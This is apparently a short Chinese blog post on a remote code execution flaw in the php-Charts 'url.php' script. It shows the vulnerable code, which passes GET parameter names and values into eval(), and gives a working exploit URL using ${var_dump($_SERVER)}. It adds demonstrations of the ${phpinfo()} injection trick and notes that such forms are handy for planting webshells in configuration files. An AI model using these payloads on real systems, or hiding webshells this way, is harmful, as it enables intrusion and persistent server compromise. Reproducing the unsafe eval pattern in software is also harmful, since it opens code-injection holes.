漏洞分析和利用在 这里 。
漏 洞 代 码: <?php require("lib/phpchart.class.php"); $color_var=array("txt_col","line_col","bg_color"); $cname=$_GET["type"]; $chart=new PHP Chart($cname); foreach($_GET as $key=>$value) { if($value!="") { if(in_array($key,$color_var)) eval('$chart->'.$key.'="#'.$value.'";'); else if($value=='yes') eval('$chart->'.$key.'=true;'); else if($value=='no') eval('$chart->'.$key.'=false;'); else if(is_numeric($value)) eval('$chart->'.$key.'='.$value.';'); else eval('$chart->'.$key."='".$value."';"); } } $chart->genChart(); 分析的话没什么好看的,直接看利用吧。/wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY。这样带进去的话就是:eval(‘$chart->${var_dump($_SERVER)}= \’ IZABEKAILOVEYOUBABY\’;’),因为对象没有这个属性会报错,但是var_dump($_SERVER)确是可以执行的。下面来个小实验: <?php class Cart { var $item; function get_item() { echo $this->item; } } $cart = new Cart(); $cart->${phpinfo()} = 'zhizi'; 当然这个phpinfo()还是会执行的。具体原理应该和php的类实现机制有关,但是php内部机制不太懂,也请懂的指点下。类似的还有: S = "{${@phpinfo()}}" $arr = array( 'a'=>"b", 'c'=>${@phpinfo()} ); 这些在配置文件中写马很有用。
查看更多关于从php-Charts 'url.php'代码执行学到的小技巧的详细内容...